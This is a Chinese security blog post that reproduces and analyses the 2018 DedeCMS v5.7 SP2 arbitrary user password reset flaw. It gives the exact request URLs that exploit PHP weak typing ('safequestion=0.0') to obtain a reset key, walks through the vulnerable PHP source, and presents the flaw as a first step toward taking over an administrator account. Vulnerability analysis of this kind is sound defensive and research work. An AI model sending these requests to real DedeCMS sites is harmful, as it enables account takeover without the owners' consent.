dedecms前台任意用户密码重置漏洞重现及分析 | LSABLOG

首页 » NetworkSec » Penetration » 正文

dedecms前台任意用户密码重置漏洞重现及分析

0x00 概述

2018年1月,网上爆出dedecms v5.7 sp2(最新版)前台任意用户密码重置漏洞,下文将对此进行重现及分析。

 

0x01 影响范围

20180109及其之前的版本

 

0x02 漏洞重现

//经测试无法修改admin用户的后台密码,只能修改到admin前台密码,所以这里测试修改id=2的lsa用户。

访问payload

192.168.43.173:8999/lsawebtest/vulnenvs/dedecms/dedecms-v57-utf8-sp2-full/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanwser=&id=2

看看数据库

再访问

http://127.0.0.1:8999/lsawebtest/vulnenvs/dedecms/dedecms-v57-utf8-sp2-full/member/resetpassword.php?dopost=getpasswd&id=2&key=Gv9AqDyf

即可到达重置密码页面

可以成功重置lsa的密码。

 

0x03 修复方案

  • 关闭会员功能。
  • 关注官方更新。

 

0x04 漏洞分析

漏洞文件:member\resetpassword.php:75

else if($dopost == "safequestion")
{
    $mid = preg_replace("#[^0-9]#", "", $id);
    $sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";
    $row = $db->GetOne($sql);
    if(empty($safequestion)) $safequestion = '';

    if(empty($safeanswer)) $safeanswer = '';

    if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
    {
        sn($mid, $row['userid'], $row['email'], 'N');
        exit();
    }
    else
    {
        ShowMsg("对不起,您的安全问题或答案回答错误","-1");
        exit();
    }

}

可以看到要进入sn函数,必须满足

($row[‘safequestion’] == $safequestion && $row[‘safeanswer’] == $safeanswer)

通过查询数据库可知

row[‘safeanswer’]=空,$row[‘safequestion’]=0

所以传入的payload中$safeanswer为空符合条件,而如果$safequestion传入0,则遇到

if(empty($safequestion)) $safequestion = ”;

就置空了,继而空和0不等无法进入sn函数。

所以这里可以运用php的弱类型,参考http://www.lsablog.com/network_security/ctf/hackinglab-cn-series-decryption-can-md5-be-bumped/

将$safequestion传入0.0即可绕过判断

继续跟进sn函数

\member\inc\inc_pwd_functions.php:150

function sn($mid,$userid,$mailto, $send = 'Y')
{
    global $db;
    $tptim= (60*10);
    $dtime = time();
    $sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'";
    $row = $db->GetOne($sql);
    if(!is_array($row))
    {
        //发送新邮件;
        newmail($mid,$userid,$mailto,'INSERT',$send);
    }
    //10分钟后可以再次发送新验证码;
    elseif($dtime - $tptim > $row['mailtime'])
    {
        newmail($mid,$userid,$mailto,'UPDATE',$send);
    }
    //重新发送新的验证码确认邮件;
    else
    {
        return ShowMsg('对不起,请10分钟后再重新申请', 'login.php');
    }
}

先看看dede_pwd_tmp表

为空

所以执行

 newmail($mid,$userid,$mailto,'INSERT',$send);

继续跟进newmail函数,在73行

关键代码:

function newmail($mid, $userid, $mailto, $type, $send)
{
    global $db,$cfg_adminemail,$cfg_webname,$cfg_basehost,$cfg_memberurl;
    $mailtime = time();
    $randval = random(8);
    $mailtitle = $cfg_webname.":密码修改";
    $mailto = $mailto;
    $headers = "From: ".$cfg_adminemail."\r\nReply-To: $cfg_adminemail";
    $mailbody = "亲爱的".$userid.":\r\n您好!感谢您使用".$cfg_webname."网。\r\n".$cfg_webname."应您的要求,重新设置密码:(注:如果您没有提出申请,请检查您的信息是否泄漏。)\r\n本次临时登陆密码为:".$randval." 请于三天内登陆下面网址确认修改。\r\n".$cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid;
    if($type == 'INSERT')
    {
        $key = md5($randval);
        $sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid',  '$key', '$mailtime');";
        if($db->ExecuteNoneQuery($sql))
        {
            if($send == 'Y')
            {
                sendmail($mailto,$mailtitle,$mailbody,$headers);
                return ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php','','5000');
            } else if ($send == 'N')
            {
                return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);
            }
        }

可以看出生成了8位随机码以md5加密放入dede_pwd_tmp表中,再跳转到url

$cfg_basehost.$cfg_memberurl.”/resetpassword.php?dopost=getpasswd&id=”.$mid.”&key=”.$randval

http://127.0.0.1:8999/lsawebtest/vulnenvs/dedecms/dedecms-v57-utf8-sp2-full/member/resetpassword.php?dopost=getpasswd&id=2&key=Gv9AqDyf

mid可控,key也知道了,就可以重置任意mid用户密码了,继续跟进dopost=getpasswd这段代码,在

member\resetpassword.php:96

关键代码:

elseif($setp == 2)
    {
        if(isset($key)) $pwdtmp = $key;

        $sn = md5(trim($pwdtmp));
        if($row['pwd'] == $sn)
        {
            if($pwd != "")
            {
                if($pwd == $pwdok)
                {
                    $pwdok = md5($pwdok);
                    $sql = "DELETE FROM `#@__pwd_tmp` WHERE `mid` = '$id';";
                    $db->executenonequery($sql);
                    $sql = "UPDATE `#@__member` SET `pwd` = '$pwdok' WHERE `mid` = '$id';";
                    if($db->executenonequery($sql))
                    {
                        showmsg('更改密码成功,请牢记新密码', 'login.php');
                        exit;
                    }
                }
            }

判断key的md5是否和dede_pwd_tmp的pwd相同,是则更新用户密码,完成任意用户密码重置。

 

0x05结语

这是修改管理员后台密码的组合拳的第一式,可以先修改管理员前台密码。

 

0x06参考资料

https://blog.formsec.cn/2018/01/11/DedeCMS-password-reset/

https://lorexxar.cn/2018/01/19/dedecms-vul1/

 

Comment